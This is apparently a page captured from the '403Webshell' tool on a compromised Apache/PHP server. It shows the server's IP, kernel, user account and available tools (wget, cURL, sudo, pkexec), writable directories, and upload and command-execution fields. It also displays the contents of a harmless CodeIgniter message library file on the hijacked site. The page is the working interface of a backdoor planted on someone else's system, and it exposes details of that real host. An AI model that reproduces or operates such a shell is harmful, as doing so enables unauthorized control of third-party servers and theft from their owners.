403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.216.74
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/zomuaban.com/public_html/site/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/zomuaban.com/public_html/site/libraries/Message.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Message extends MY_Lib{

	public function __construct() {
		$CI = & get_instance();
		$CI->load->helper('url'); # to use base_url	
		$CI->load->helper('text');
	}
	
	
	# Hàm này dùng cho hệ thống gửi mail đến 1 user hoặc tất cả user
	public static function sysNotify($mData) {	
		$CI = & get_instance();
		
		# TODO:
		# Người gửi : AloGap.com@gmail.com
		$CI->db->insert(tableConf('message'), array(	'sender'	=>	contactConf('system'), 
														'senderName'=>	siteConf('siteName'), 
														'receive' 	=> 	isset($mData->receive) ? $mData->receive : 'all',	
														'read'		=>	isset($mData->receive) || $mData->receive != 'all' ? 0 : -1, # -1 là từ hệ thống gửi cho tất cả : ko thể reply, ko set đã đọc									
														'content'	=>	$mData->content,													
														'rootId'	=>	0,
														'createDate'=>	now()		
													));
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit